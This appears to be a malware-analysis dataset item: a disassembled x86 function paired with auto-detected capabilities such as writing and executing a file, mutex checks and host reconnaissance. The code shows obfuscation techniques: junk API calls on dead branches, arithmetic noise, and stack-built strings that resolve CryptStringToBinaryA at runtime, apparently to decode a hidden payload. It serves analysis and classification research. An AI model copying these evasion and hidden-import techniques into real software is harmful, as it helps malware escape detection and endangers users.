Function at 0x10002f80
Capabilities:
Accept command line arguments
Check mutex on windows
Clear file content
Copy file
Create mailslot
Create process on windows
Delete directory
Enumerate files on windows
Extract resource via kernel32 functions
Get common file path
Get disk information
Get disk size
Get geographical location
Get hostname
Manipulate console buffer
Move file
Query environment variable
Read .ini file
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1002b7ed
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x134
mov dword [ebp - 4], 0
lea ecx, [ebp + 8]
call fcn.10008810
mov eax, dword [eax]
mov dword [ebp - 0xbc], eax
cmp dword [0x10062ecc], 0x251cffd9
jne 0x10003094
push 0
call dword [sym.imp.KERNEL32.dll_GetFirmwareType]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCurrentConsoleFontEx]
push 0
push 0
push 0x10069880
push 0
push 0x100698a4
call dword [sym.imp.KERNEL32.dll_CompareStringOrdinal]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetNLSVersion]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCommState]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesW]
push 0
push 0
push 0
push 0x100698d4
call dword [sym.imp.KERNEL32.dll_FindFirstFileNameW]
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleHistoryInfo]
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SystemTimeToTzSpecificLocalTime]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceW]
push 0
call dword [sym.imp.KERNEL32.dll_FlsGetValue]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MoveFileWithProgressW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ecx, dword [0x10062edc]
mov dword [ebp - 0x68], ecx
mov dword [ebp - 0x38], 0x12ca
mov dword [ebp - 0x60], 0x1194
mov edx, dword [ebp - 0x38]
add edx, dword [ebp - 0x60]
mov dword [ebp - 0x38], edx
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x74], 0x2faf0800
mov eax, dword [ebp - 0x24]
cdq
mov ecx, 3
idiv ecx
test edx, edx
je 0x100030dd
mov edx, dword [ebp - 0x24]
sub edx, 0xd01
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x2c], 0x228f
mov dword [ebp - 0x28], 0x605
mov eax, dword [ebp - 0x2c]
add eax, dword [ebp - 0x28]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x78], 0x4c4b400
mov dword [ebp - 0x34], 0x24d3
mov dword [ebp - 0x58], 0
mov ecx, dword [ebp - 0x38]
add ecx, dword [ebp - 0x38]
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0x40], 0xe1d
mov edx, dword [ebp - 0x24]
sub edx, dword [ebp - 0x40]
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x3c], 0
mov eax, dword [ebp - 0x40]
add eax, 0x1a30
mov dword [ebp - 0x40], eax
mov ecx, dword [ebp - 0x34]
sub ecx, 0x22e5
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x30], 0
mov edx, dword [ebp - 0x28]
sub edx, 0xd36
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x7c], 0x5a
mov eax, dword [ebp - 0x24]
cdq
mov ecx, 3
idiv ecx
test edx, edx
je 0x10003182
mov edx, dword [ebp - 0x24]
add edx, 1
mov dword [ebp - 0x24], edx
jmp 0x10003168
mov eax, dword [ebp - 0x28]
add eax, 0x1535
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x44], 0
jmp 0x1000319f
mov ecx, dword [ebp - 0x44]
add ecx, 1
mov dword [ebp - 0x44], ecx
cmp dword [ebp - 0x44], 0x61
jge 0x100031b0
mov edx, dword [ebp - 0x34]
sub edx, 8
mov dword [ebp - 0x34], edx
jmp 0x10003196
mov eax, dword [ebp - 0x58]
add eax, 0x1fb4
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x5c], 0x22a5
mov dword [ebp - 0x70], 0x3b9aca00
mov ecx, dword [ebp - 0x2c]
add ecx, 0xce2
mov dword [ebp - 0x2c], ecx
mov edx, dword [ebp - 0x30]
add edx, dword [ebp - 0x30]
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 0x2c]
add eax, 0x5b9
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x5c]
sub ecx, dword [ebp - 0x6c]
mov dword [ebp - 0x5c], ecx
mov edx, dword [ebp - 0x3c]
add edx, 0xeed
mov dword [ebp - 0x3c], edx
mov eax, dword [ebp - 0x30]
sub eax, dword [ebp - 0x30]
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x28]
add ecx, 0x4df
mov dword [ebp - 0x28], ecx
mov edx, dword [ebp - 0x70]
add edx, dword [ebp - 0x74]
add edx, dword [ebp - 0x78]
mov eax, dword [ebp - 0x7c]
lea ecx, [edx + eax + 0x6aebe9]
mov edx, 4
imul eax, edx, 0
mov dword [ebp + eax - 0xe8], ecx
mov ecx, dword [ebp - 0x28]
add ecx, dword [ebp - 0x60]
mov dword [ebp - 0x28], ecx
mov edx, dword [ebp - 0x64]
sub edx, 0x1994
mov dword [ebp - 0x64], edx
mov eax, dword [ebp - 0x34]
add eax, 0x115e
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0x3c]
add ecx, 0x1ce4
mov dword [ebp - 0x3c], ecx
mov edx, dword [ebp - 0x24]
sub edx, 0xa5c
mov dword [ebp - 0x24], edx
mov eax, dword [0x10062ecc]
xor ecx, ecx
mov dword [ebp - 0xe0], eax
mov dword [ebp - 0xdc], ecx
cmp dword [ebp - 0xe0], 0xa6d6d3a0
jne 0x10003349
cmp dword [ebp - 0xdc], 0
jne 0x10003349
call dword [sym.imp.KERNEL32.dll_GetThreadUILanguage]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetNumaNodeProcessorMaskEx]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CloseThreadpoolCleanupGroupMembers]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteSynchronizationBarrier]
push 0
push 0
push 0x10069900
push 0
call dword [sym.imp.KERNEL32.dll_GetFileMUIInfo]
push 0
call dword [sym.imp.KERNEL32.dll_HeapLock]
push 0
call dword [sym.imp.KERNEL32.dll_InitOnceInitialize]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileType]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
push 0
call dword [sym.imp.KERNEL32.dll_FlushConsoleInputBuffer]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetNumaProximityNodeEx]
push 0
call dword [sym.imp.KERNEL32.dll_ClearCommBreak]
push 0
push 0
push 0x1006993c
push 0
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0
call dword [sym.imp.KERNEL32.dll_AttachConsole]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
call dword [sym.imp.KERNEL32.dll_AllocConsole]
call fcn.100048e0
mov edx, 4
shl edx, 0
mov dword [ebp + edx - 0xe8], 0x2e323374
mov eax, 8
imul ecx, eax, 0
mov edx, dword [ebp - 0xe8]
mov eax, dword [ebp - 0xe4]
mov dword [ebp + ecx - 0xd8], edx
mov dword [ebp + ecx - 0xd4], eax
cmp dword [0x10062ecc], 0x5e16d164
jne 0x1000352d
push 0
push 0
push 0x10069978
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetDurationFormat]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_IsProcessInJob]
mov ecx, dword [ebp - 0x124]
mov dword [ebp - 0x80], ecx
push 0
mov edx, dword [ebp - 0x80]
push edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ScrollConsoleScreenBufferW]
call dword [sym.imp.KERNEL32.dll_SetFileApisToANSI]
push 0
call dword [sym.imp.KERNEL32.dll_GetPhysicallyInstalledSystemMemory]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetApplicationRestartSettings]
push 0
push 0x1006999c
push 0x100699c0
call dword [sym.imp.KERNEL32.dll_CopyFile2]
xor eax, eax
lock dec dword [eax]
push 0
push 0
push 0
call fcn.10022ba0
add esp, 0xc
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddResourceAttributeAce]
push 0
call dword [sym.imp.KERNEL32.dll_UnregisterBadMemoryNotification]
push 0
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 0
call dword [sym.imp.KERNEL32.dll_DebugActiveProcessStop]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessTimes]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetTapeParameters]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumeNameForVolumeMountPointW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemTimes]
push 0
call dword [sym.imp.KERNEL32.dll_FlsFree]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointW]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadIdealProcessor]
push 0
call dword [sym.imp.KERNEL32.dll_RegisterBadMemoryNotification]
push 0
push 0x100699fc
call dword [sym.imp.KERNEL32.dll_LoadPackagedLibrary]
call dword [sym.imp.KERNEL32.dll_GetSystemDEPPolicy]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteBoundaryDescriptor]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LCIDToLocaleName]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_RtlCaptureStackBackTrace]
push 0
call dword [sym.imp.KERNEL32.dll_CancelSynchronousIo]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
xor ecx, ecx
mov dword [ebp - 0xf0], 0x6c6c64
mov dword [ebp - 0xec], ecx
mov edx, 8
shl edx, 0
mov eax, dword [ebp - 0xf0]
mov ecx, dword [ebp - 0xec]
mov dword [ebp + edx - 0xd8], eax
mov dword [ebp + edx - 0xd4], ecx
cmp dword [0x10062ecc], 0x7966ec67
jne 0x100036d9
push 0
call dword [sym.imp.KERNEL32.dll_DisableThreadProfiling]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_IsBadWritePtr]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetHandleInformation]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_InterlockedPushListSListEx]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FormatMessageW]
push 0
push 0
push 0x10069a2c
call dword [sym.imp.KERNEL32.dll_ResolveLocaleName]
push 0
push 0
push 0
push 0x10069a5c
push 0
call dword [sym.imp.KERNEL32.dll_GetStringScripts]
push 0
push 0
push 0
push 0
push 0x10069a84
call dword [sym.imp.KERNEL32.dll_FindFirstStreamTransactedW]
push 0x10069aac
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateFileMappingFromApp]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateSymbolicLinkW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessMitigationPolicy]
call dword [sym.imp.KERNEL32.dll_GetThreadUILanguage]
call dword [sym.imp.KERNEL32.dll_GetActiveProcessorGroupCount]
push 0
call dword [sym.imp.KERNEL32.dll_CreateMemoryResourceNotification]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemTimes]
push 0
call dword [sym.imp.KERNEL32.dll_GetNumberOfConsoleMouseButtons]
push 0
push 0
push 0
push 0
push 0x10069ad0
call dword [sym.imp.KERNEL32.dll_FindFirstFileNameTransactedW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameExW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetInformationJobObject]
push 0
call dword [sym.imp.KERNEL32.dll_GetLargestConsoleWindowSize]
mov dword [ebp - 0x11c], eax
push 0
push 0
push 0
push 0x10069b04
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadpoolTimerEx]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrencyFormatW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
lea edx, [ebp - 0xd8]
push edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x90], eax
jmp 0x10003ccf
mov edx, 8
imul eax, edx, 0
mov ecx, 0x72745374
mov dword [ebp + eax - 0xd8], 0x70797243
mov dword [ebp + eax - 0xd4], ecx
cmp dword [0x10062ecc], 0x37123f4c
jne 0x10003eb9
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadExecutionState]
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleDisplayMode]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreW]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FormatMessageW]
call dword [sym.imp.KERNEL32.dll_GetErrorMode]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_QueryInformationJobObject]
push 0
call dword [sym.imp.KERNEL32.dll_ConvertDefaultLocale]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetApplicationRecoveryCallback]
push 0
call dword [sym.imp.KERNEL32.dll_InitAtomTable]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReadDirectoryChangesW]
push 0
push 0
push 0
push 0x10069b80
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_RaiseException]
mov eax, 8
shl eax, 0
mov ecx, 0x6e69426f
mov dword [ebp + eax - 0xd8], 0x54676e69
mov dword [ebp + eax - 0xd4], ecx
cmp dword [0x10062ecc], 0x2738702
jne 0x1000409a
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push 0
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_Wow64GetThreadSelectorEntry]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfoEx]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
push 0
call dword [sym.imp.KERNEL32.dll_GetLargestConsoleWindowSize]
mov dword [ebp - 0x104], eax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_RtlCaptureStackBackTrace]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeW]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MapViewOfFileEx]
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetAppContainerNamedObjectPath]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionNamesW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_DeleteTimerQueueTimer]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreExW]
push 0
call dword [sym.imp.KERNEL32.dll_CloseThreadpoolCleanupGroup]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FileTimeToDosDateTime]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThreadpoolIo]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_QueryProtectedPolicy]
push 0
push 0
push 0x10069bbc
call dword [sym.imp.KERNEL32.dll_ResolveLocaleName]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetTapeParameters]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMailslotW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesW]
mov edx, dword [ebp - 0x108]
mov dword [ebp - 0x8c], edx
mov eax, dword [ebp - 0x8c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push 0
call dword [sym.imp.KERNEL32.dll_ApplicationRecoveryInProgress]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentConsoleFontEx]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetTapePosition]
mov ecx, 8
shl ecx, 1
xor edx, edx
mov dword [ebp + ecx - 0xd8], 0x41797261
mov dword [ebp + ecx - 0xd4], edx
lea eax, [ebp - 0xd8]
push eax
mov ecx, dword [ebp - 0x90]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x10062ee4], eax
cmp dword [0x10062ecc], 0x2f5b5ee9
jne 0x10004221
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CopyFileExW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetFileAttributesTransactedW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push 0
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
push 0
call dword [sym.imp.KERNEL32.dll_SetDefaultDllDirectories]
push 0
call dword [sym.imp.KERNEL32.dll_SubmitThreadpoolWork]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_Beep]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSectionEx]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleTitleW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ClearCommError]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
push 0
call dword [sym.imp.KERNEL32.dll_Wow64DisableWow64FsRedirection]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetUserPreferredUILanguages]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CopyFileExW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_QueryMemoryResourceNotification]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
push 0
call dword [sym.imp.KERNEL32.dll_LocalFlags]
mov edx, dword [ebp - 0x10c]
mov dword [ebp - 0x94], edx
mov eax, dword [ebp - 0x110]
mov dword [ebp - 0x98], eax
push 0
mov ecx, dword [ebp - 0x94]
push ecx
mov edx, dword [ebp - 0x98]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleOutputW]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetMailslotInfo]
push 0
call dword [sym.imp.KERNEL32.dll_FlushConsoleInputBuffer]
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x9c], eax
push 0
mov ecx, dword [ebp - 0x9c]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleOutputAttribute]
mov edx, dword [0x10062ec8]
mov dword [ebp - 0xa0], edx
mov dword [ebp - 0xa4], 0
mov dword [ebp - 0xa8], 0
lea eax, [ebp - 0xa0]
mov dword [ebp - 0xac], eax
mov ecx, dword [ebp - 0x68]
mov dword [ebp - 0xb0], ecx
mov dword [ebp - 0xb4], 1
mov dword [ebp - 0xb8], 0x30681
lea edx, [ebp - 0xa4]
push edx
lea eax, [ebp - 0xa8]
push eax
lea ecx, [ebp - 0xac]
push ecx
lea edx, [ebp - 0xb0]
push edx
lea eax, [ebp - 0xb4]
push eax
lea ecx, [ebp - 0xb8]
push ecx
lea edx, [ebp - 0xbc]
push edx
push 0x14d
mov eax, dword [0x10062ee4]
push eax
lea ecx, [ebp - 0x140]
push ecx
call fcn.100092c0
add esp, 0xc
mov edx, dword [eax + 4]
push edx
mov eax, dword [eax]
push eax
call fcn.100092e0
add esp, 0x24
mov dword [ebp - 0x138], eax
mov ecx, dword [0x10062ecc]
xor edx, edx
mov dword [ebp - 0x100], ecx
mov dword [ebp - 0xfc], edx
cmp dword [ebp - 0x100], 0xf2d51aa4
jne 0x10004438
cmp dword [ebp - 0xfc], 0
jne 0x10004438
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetFileAttributesTransactedW]
push 0
call dword [sym.imp.KERNEL32.dll_FindVolumeMountPointClose]
push 0
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointW]
push 0
push 0
push 0x10069be8
push 0
push 0x10069c18
call dword [sym.imp.KERNEL32.dll_CompareStringOrdinal]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LocalFileTimeToFileTime]
push 0
call dword [sym.imp.KERNEL32.dll_AddSecureMemoryCacheCallback]
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push 0
push 0x10069c4c
push 0
call dword [sym.imp.KERNEL32.dll_IsValidNLSVersion]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileNameW]
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadUILanguage]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProfileIntW]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointW]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalHandle]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WaitForThreadpoolWaitCallbacks]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_DeleteTimerQueueTimer]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteFileEx]
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCalendarInfoW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadIdealProcessor]
push 0
call dword [sym.imp.KERNEL32.dll_CloseThreadpoolIo]
push 0
call dword [sym.imp.KERNEL32.dll_CreateThreadpool]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumePathNamesForVolumeNameW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
call fcn.10004470
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0xc0], eax
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.10002820
mov eax, dword [ebp - 0xc0]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret